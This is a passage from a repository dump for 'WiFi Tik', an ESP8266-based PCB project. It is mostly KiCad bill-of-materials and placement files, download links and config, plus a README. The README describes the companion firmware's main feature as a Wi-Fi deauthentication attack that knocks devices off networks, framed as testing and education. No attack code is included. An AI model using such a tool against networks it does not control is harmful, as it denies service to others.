MINI),1,Wemos-D1-mini,wemos-d1-mini-connectors-only,,tht 4 | "A, B, DOWN, UP",4,SW_PUSH_6mm,SW_PUSH_6mm,,tht 5 | Battery,1,Power 5V,Power 5V,,smt 6 | LED,1,LED_Cree-XQ_HandSoldering,LED_Cree-XQ_HandSoldering,,smt 7 | "R1, R2",2,Resistor,Resistor,,tht 8 | "RX, TX",2,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,,tht 9 | -------------------------------------------------------------------------------- /WiFi Tik I/pcbway_production/2024-01-17-17-33-28/miaw-wifitools.kicad_pcb_gerber.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/pcbway_production/2024-01-17-17-33-28/miaw-wifitools.kicad_pcb_gerber.zip -------------------------------------------------------------------------------- /WiFi Tik I/pcbway_production/2024-01-17-17-33-28/miaw-wifitools.kicad_pcb_positions.csv: -------------------------------------------------------------------------------- 1 | pos_x,pos_y,rotation,side,designator,mpn,pack,value,mount_type,place 2 | 158.75,-93.98,0.0,top,,,oled,oled,tht,True 3 | 158.75,-123.825,90.0,bottom,(D1 MINI),,wemos-d1-mini-connectors-only,Wemos-D1-mini,tht,True 4 | 160.401,-119.325,0.0,top,A,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 5 | 160.315,-128.215,0.0,top,B,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 6 | 169.418,-86.884,180.0,bottom,Battery,,Power 5V,Power 5V,smt,True 7 | 150.865,-128.215,0.0,top,DOWN,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 8 | 158.75,-115.57,0.0,top,LED,,LED_Cree-XQ_HandSoldering,LED_Cree-XQ_HandSoldering,smt,True 9 | 152.4,-105.41,180.0,bottom,R1,,Resistor,Resistor,tht,True 10 | 165.1,-105.41,180.0,bottom,R2,,Resistor,Resistor,tht,True 11 | 145.415,-102.235,-90.0,bottom,RX,,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,tht,True 12 | 145.415,-99.695,-90.0,bottom,TX,,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,tht,True 13 | 150.876,-119.38,0.0,top,UP,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 14 | -------------------------------------------------------------------------------- /WiFi Tik I/pcbway_production/2024-01-18-19-02-34/miaw-wifitools.kicad_pcb_bom.csv: -------------------------------------------------------------------------------- 1 | designator,quantity,value,pack,mpn,mount_type 2 | ,1,oled,oled,,tht 3 | (D1 MINI),1,Wemos-D1-mini,wemos-d1-mini-connectors-only,,tht 4 | "A, B, DOWN, UP",4,SW_PUSH_6mm,SW_PUSH_6mm,,tht 5 | Battery,1,Power 5V,Power 5V,,smt 6 | LED,1,LED_Cree-XQ_HandSoldering,LED_Cree-XQ_HandSoldering,,smt 7 | "R1, R2",2,Resistor,Resistor,,tht 8 | "RX, TX",2,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,,tht 9 | -------------------------------------------------------------------------------- /WiFi Tik I/pcbway_production/2024-01-18-19-02-34/miaw-wifitools.kicad_pcb_positions.csv: -------------------------------------------------------------------------------- 1 | pos_x,pos_y,rotation,side,designator,mpn,pack,value,mount_type,place 2 | 158.75,-93.98,0.0,top,,,oled,oled,tht,True 3 | 158.75,-123.825,90.0,bottom,(D1 MINI),,wemos-d1-mini-connectors-only,Wemos-D1-mini,tht,True 4 | 160.401,-119.325,0.0,top,A,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 5 | 160.315,-128.215,0.0,top,B,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 6 | 169.418,-86.884,180.0,bottom,Battery,,Power 5V,Power 5V,smt,True 7 | 150.865,-128.215,0.0,top,DOWN,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 8 | 158.75,-115.57,0.0,top,LED,,LED_Cree-XQ_HandSoldering,LED_Cree-XQ_HandSoldering,smt,True 9 | 152.4,-105.41,180.0,bottom,R1,,Resistor,Resistor,tht,True 10 | 165.1,-105.41,180.0,bottom,R2,,Resistor,Resistor,tht,True 11 | 145.415,-102.235,-90.0,bottom,RX,,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,tht,True 12 | 145.415,-99.695,-90.0,bottom,TX,,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,tht,True 13 | 150.876,-119.38,0.0,top,UP,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 14 | -------------------------------------------------------------------------------- /WiFi Tik I/pcbway_production/2024-01-18-19-02-34/miawifitools.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/pcbway_production/2024-01-18-19-02-34/miawifitools.zip -------------------------------------------------------------------------------- /WiFi Tik I/pcbway_production/2024-01-19-14-52-54/miaw-wifitools.kicad_pcb_bom.csv: -------------------------------------------------------------------------------- 1 | designator,quantity,value,pack,mpn,mount_type 2 | ,1,oled,oled,,tht 3 | (D1 MINI),1,Wemos-D1-mini,wemos-d1-mini-connectors-only,,tht 4 | "A, B, DOWN, UP",4,SW_PUSH_6mm,SW_PUSH_6mm,,tht 5 | Battery,1,Power 5V,Power 5V,,smt 6 | "HOLE, HOLE, HOLE, HOLE",4,MountingHole_2.1mm,MountingHole_2.1mm,,tht 7 | LED,1,LED_Cree-XQ_HandSoldering,LED_Cree-XQ_HandSoldering,,smt 8 | "R1, R2",2,Resistor,Resistor,,tht 9 | "RX, TX",2,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,,tht 10 | -------------------------------------------------------------------------------- /WiFi Tik I/pcbway_production/2024-01-19-14-52-54/miaw-wifitools.kicad_pcb_positions.csv: -------------------------------------------------------------------------------- 1 | pos_x,pos_y,rotation,side,designator,mpn,pack,value,mount_type,place 2 | 158.75,-93.98,0.0,top,,,oled,oled,tht,True 3 | 158.75,-123.825,90.0,bottom,(D1 MINI),,wemos-d1-mini-connectors-only,Wemos-D1-mini,tht,True 4 | 160.401,-119.325,0.0,top,A,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 5 | 160.315,-128.215,0.0,top,B,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 6 | 167.386,-86.884,180.0,bottom,Battery,,Power 5V,Power 5V,smt,True 7 | 150.865,-128.215,0.0,top,DOWN,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 8 | 145.288,-141.224,0.0,top,HOLE,,MountingHole_2.1mm,MountingHole_2.1mm,tht,False 9 | 145.288,-84.328,0.0,top,HOLE,,MountingHole_2.1mm,MountingHole_2.1mm,tht,False 10 | 172.212,-141.224,0.0,top,HOLE,,MountingHole_2.1mm,MountingHole_2.1mm,tht,False 11 | 172.212,-84.328,0.0,top,HOLE,,MountingHole_2.1mm,MountingHole_2.1mm,tht,False 12 | 158.75,-115.57,0.0,top,LED,,LED_Cree-XQ_HandSoldering,LED_Cree-XQ_HandSoldering,smt,True 13 | 152.4,-105.41,180.0,bottom,R1,,Resistor,Resistor,tht,True 14 | 165.1,-105.41,180.0,bottom,R2,,Resistor,Resistor,tht,True 15 | 145.415,-102.235,-90.0,bottom,RX,,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,tht,True 16 | 145.415,-99.695,-90.0,bottom,TX,,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,tht,True 17 | 150.876,-119.38,0.0,top,UP,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 18 | -------------------------------------------------------------------------------- /WiFi Tik I/pcbway_production/2024-01-19-14-52-54/wifitools.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/pcbway_production/2024-01-19-14-52-54/wifitools.zip -------------------------------------------------------------------------------- /WiFi Tik I/preview/bottom.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/preview/bottom.png -------------------------------------------------------------------------------- /WiFi Tik I/preview/top.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/preview/top.png -------------------------------------------------------------------------------- /WiFi Tik II/LICENCE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Spacehuhn Technologies 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /WiFi Tik II/README.md: -------------------------------------------------------------------------------- 1 | # WiFiTik Prototype 2 | This project used base firmware [WiFi Tools](https://github.com/dx4grey/esp8266_wifitools) 3 | 4 | ## Component quantity 5 | 6 | | Designator | Quantity | Value | Pack | MPN | Mount Type | 7 | | -------------- | -------- | --------------------------------- | ----------------------------------- | ---------------------------------- | ---------- | 8 | | 1 | 1 | OLED | | | THT | 9 | | D1 MINI | 1 | Wemos-D1-mini | wemos-d1-mini-connectors-only | | THT | 10 | | A, B, DOWN, UP | 4 | SW_PUSH_6mm | SW_PUSH_6mm | | THT | 11 | | Hole, Hole, Hole, Hole | 4 | MountingHole_2.1mm | MountingHole_2.1mm | | THT | 12 | | LED | 1 | LED_Cree-XQ_HandSoldering | LED_Cree-XQ_HandSoldering | | SMT | 13 | | R1, R2 | 2 | Resistor | Resistor | | THT | 14 | | RX, TX | 2 | Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork | Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork | | THT | 15 | | VIN | 1 | Power 5V | Power 5V | | SMT | 16 | 17 | ## PCB Previews 18 | 19 |
20 | Front View 21 | 22 | ![Front View](./preview2.0/top.png) 23 |
24 | 25 |
26 | Back View 27 | 28 | ![Back View](./preview2.0/bottom.png) 29 |
30 | 31 | ## About this Project 32 | 33 | This firmware allows you to easily perform a variety of actions to test 802.11 networks using an [ESP8266](https://www.espressif.com/en/products/socs/esp8266). It's also a great project for learning about WiFi, microcontrollers, Arduino, hacking and electronics/programming in general. 34 | 35 | The deauthentication attack is the main feature, which can be used to disconnect devices from their WiFi network. 36 | Although this denial-of-service attack is nothing new, a lot of devices are still vulnerable to it. Luckily this is slowly changing with more WiFi 6 enabled devices being used. But a lot of outdated WiFi devices remain in place, for example in cheap IoT hardware. 37 | With an ESP8266 Deauther, you can easily test this attack on your 2.4GHz WiFi network/devices and see whether it's successful or not. And if it is, you know you should upgrade your network. 38 | 39 | ## Disclaimer 40 | 41 | This project is a proof of concept for testing and educational purposes. 42 | Neither the ESP8266, nor its SDK was meant or built for such purposes. **Bugs can occur!** 43 | 44 | **Use it only against your own networks and devices!** 45 | Please check the legal regulations in your country before using it. 46 | We don't take any responsibility for what you do with this program. -------------------------------------------------------------------------------- /WiFi Tik II/fp-info-cache: -------------------------------------------------------------------------------- 1 | 20385553864081 2 | NetTie 3 | NetTie-2_SMD_Pad0.5mm 4 | Net tie, 2 pin, 0.5mm square SMD pads 5 | net tie 6 | 0 7 | 2 8 | 2 9 | NetTie 10 | NetTie-2_SMD_Pad2.0mm 11 | Net tie, 2 pin, 2.0mm square SMD pads 12 | net tie 13 | 0 14 | 2 15 | 2 16 | NetTie 17 | NetTie-2_THT_Pad0.3mm 18 | Net tie, 2 pin, 0.3mm round THT pads 19 | net tie 20 | 0 21 | 2 22 | 2 23 | NetTie 24 | NetTie-2_THT_Pad1.0mm 25 | Net tie, 2 pin, 1.0mm round THT pads 26 | net tie 27 | 0 28 | 2 29 | 2 30 | NetTie 31 | NetTie-3_SMD_Pad0.5mm 32 | Net tie, 3 pin, 0.5mm square SMD pads 33 | net tie 34 | 0 35 | 3 36 | 3 37 | NetTie 38 | NetTie-3_SMD_Pad2.0mm 39 | Net tie, 3 pin, 2.0mm square SMD pads 40 | net tie 41 | 0 42 | 3 43 | 3 44 | NetTie 45 | NetTie-3_THT_Pad0.3mm 46 | Net tie, 3 pin, 0.3mm round THT pads 47 | net tie 48 | 0 49 | 3 50 | 3 51 | NetTie 52 | NetTie-3_THT_Pad1.0mm 53 | Net tie, 3 pin, 1.0mm round THT pads 54 | net tie 55 | 0 56 | 3 57 | 3 58 | NetTie 59 | NetTie-4_SMD_Pad0.5mm 60 | Net tie, 4 pin, 0.5mm square SMD pads 61 | net tie 62 | 0 63 | 4 64 | 4 65 | NetTie 66 | NetTie-4_SMD_Pad2.0mm 67 | Net tie, 4 pin, 2.0mm square SMD pads 68 | net tie 69 | 0 70 | 4 71 | 4 72 | NetTie 73 | NetTie-4_THT_Pad0.3mm 74 | Net tie, 4 pin, 0.3mm round THT pads 75 | net tie 76 | 0 77 | 4 78 | 4 79 | NetTie 80 | NetTie-4_THT_Pad1.0mm 81 | Net tie, 4 pin, 1.0mm round THT pads 82 | net tie 83 | 0 84 | 4 85 | 4 86 | -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-21_211645.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-21_211645.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-22_160700.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-22_160700.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-25_174701.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-25_174701.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-25_175351.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-25_175351.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-25_175854.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-25_175854.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-25_180355.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-25_180355.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-25_181003.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-25_181003.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-27_162749.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-27_162749.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-28_181948.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-28_181948.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-28_183733.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-28_183733.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-28_184238.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-28_184238.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-28_185137.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-28_185137.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-28_185845.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-28_185845.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-31_211233.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-31_211233.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-31_211821.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-31_211821.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-31_212351.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-31_212351.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-31_214007.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-31_214007.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-31_214545.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-01-31_214545.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-02-02_184549.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-02-02_184549.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-02-02_185129.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-02-02_185129.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-02-02_185651.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-02-02_185651.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-02-02_190305.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-02-02_190305.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-02-02_192439.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-02-02_192439.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-02-16_025911.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-02-16_025911.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-02-21_134243.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-02-21_134243.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-02-21_165531.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/miaw-wifitools-backups/miaw-wifitools-2024-02-21_165531.zip -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools.kicad_prl: -------------------------------------------------------------------------------- 1 | { 2 | "board": { 3 | "active_layer": 44, 4 | "active_layer_preset": "", 5 | "auto_track_width": true, 6 | "hidden_netclasses": [], 7 | "hidden_nets": [], 8 | "high_contrast_mode": 0, 9 | "net_color_mode": 1, 10 | "opacity": { 11 | "images": 0.6, 12 | "pads": 1.0, 13 | "tracks": 1.0, 14 | "vias": 1.0, 15 | "zones": 0.6 16 | }, 17 | "selection_filter": { 18 | "dimensions": true, 19 | "footprints": true, 20 | "graphics": true, 21 | "keepouts": true, 22 | "lockedItems": false, 23 | "otherItems": true, 24 | "pads": true, 25 | "text": true, 26 | "tracks": true, 27 | "vias": true, 28 | "zones": true 29 | }, 30 | "visible_items": [ 31 | 0, 32 | 1, 33 | 2, 34 | 3, 35 | 4, 36 | 5, 37 | 8, 38 | 9, 39 | 10, 40 | 12, 41 | 13, 42 | 15, 43 | 16, 44 | 17, 45 | 18, 46 | 19, 47 | 20, 48 | 21, 49 | 22, 50 | 23, 51 | 24, 52 | 25, 53 | 26, 54 | 27, 55 | 28, 56 | 29, 57 | 30, 58 | 32, 59 | 33, 60 | 34, 61 | 35, 62 | 36, 63 | 39, 64 | 40 65 | ], 66 | "visible_layers": "fffffff_ffffffff", 67 | "zone_display_mode": 0 68 | }, 69 | "meta": { 70 | "filename": "miaw-wifitools.kicad_prl", 71 | "version": 3 72 | }, 73 | "project": { 74 | "files": [] 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /WiFi Tik II/miaw-wifitools.kicad_sch: -------------------------------------------------------------------------------- 1 | (kicad_sch (version 20230121) (generator eeschema) 2 | (paper "A4") 3 | (lib_symbols) 4 | (symbol_instances) 5 | ) 6 | -------------------------------------------------------------------------------- /WiFi Tik II/pcbway_production/2024-01-17-17-33-28/miaw-wifitools.kicad_pcb_bom.csv: -------------------------------------------------------------------------------- 1 | designator,quantity,value,pack,mpn,mount_type 2 | ,1,oled,oled,,tht 3 | (D1 MINI),1,Wemos-D1-mini,wemos-d1-mini-connectors-only,,tht 4 | "A, B, DOWN, UP",4,SW_PUSH_6mm,SW_PUSH_6mm,,tht 5 | Battery,1,Power 5V,Power 5V,,smt 6 | LED,1,LED_Cree-XQ_HandSoldering,LED_Cree-XQ_HandSoldering,,smt 7 | "R1, R2",2,Resistor,Resistor,,tht 8 | "RX, TX",2,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,,tht 9 | -------------------------------------------------------------------------------- /WiFi Tik II/pcbway_production/2024-01-17-17-33-28/miaw-wifitools.kicad_pcb_gerber.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/pcbway_production/2024-01-17-17-33-28/miaw-wifitools.kicad_pcb_gerber.zip -------------------------------------------------------------------------------- /WiFi Tik II/pcbway_production/2024-01-17-17-33-28/miaw-wifitools.kicad_pcb_positions.csv: -------------------------------------------------------------------------------- 1 | pos_x,pos_y,rotation,side,designator,mpn,pack,value,mount_type,place 2 | 158.75,-93.98,0.0,top,,,oled,oled,tht,True 3 | 158.75,-123.825,90.0,bottom,(D1 MINI),,wemos-d1-mini-connectors-only,Wemos-D1-mini,tht,True 4 | 160.401,-119.325,0.0,top,A,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 5 | 160.315,-128.215,0.0,top,B,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 6 | 169.418,-86.884,180.0,bottom,Battery,,Power 5V,Power 5V,smt,True 7 | 150.865,-128.215,0.0,top,DOWN,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 8 | 158.75,-115.57,0.0,top,LED,,LED_Cree-XQ_HandSoldering,LED_Cree-XQ_HandSoldering,smt,True 9 | 152.4,-105.41,180.0,bottom,R1,,Resistor,Resistor,tht,True 10 | 165.1,-105.41,180.0,bottom,R2,,Resistor,Resistor,tht,True 11 | 145.415,-102.235,-90.0,bottom,RX,,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,tht,True 12 | 145.415,-99.695,-90.0,bottom,TX,,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,tht,True 13 | 150.876,-119.38,0.0,top,UP,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 14 | -------------------------------------------------------------------------------- /WiFi Tik II/pcbway_production/2024-01-18-19-02-34/miaw-wifitools.kicad_pcb_bom.csv: -------------------------------------------------------------------------------- 1 | designator,quantity,value,pack,mpn,mount_type 2 | ,1,oled,oled,,tht 3 | (D1 MINI),1,Wemos-D1-mini,wemos-d1-mini-connectors-only,,tht 4 | "A, B, DOWN, UP",4,SW_PUSH_6mm,SW_PUSH_6mm,,tht 5 | Battery,1,Power 5V,Power 5V,,smt 6 | LED,1,LED_Cree-XQ_HandSoldering,LED_Cree-XQ_HandSoldering,,smt 7 | "R1, R2",2,Resistor,Resistor,,tht 8 | "RX, TX",2,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,,tht 9 | -------------------------------------------------------------------------------- /WiFi Tik II/pcbway_production/2024-01-18-19-02-34/miaw-wifitools.kicad_pcb_positions.csv: -------------------------------------------------------------------------------- 1 | pos_x,pos_y,rotation,side,designator,mpn,pack,value,mount_type,place 2 | 158.75,-93.98,0.0,top,,,oled,oled,tht,True 3 | 158.75,-123.825,90.0,bottom,(D1 MINI),,wemos-d1-mini-connectors-only,Wemos-D1-mini,tht,True 4 | 160.401,-119.325,0.0,top,A,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 5 | 160.315,-128.215,0.0,top,B,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 6 | 169.418,-86.884,180.0,bottom,Battery,,Power 5V,Power 5V,smt,True 7 | 150.865,-128.215,0.0,top,DOWN,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 8 | 158.75,-115.57,0.0,top,LED,,LED_Cree-XQ_HandSoldering,LED_Cree-XQ_HandSoldering,smt,True 9 | 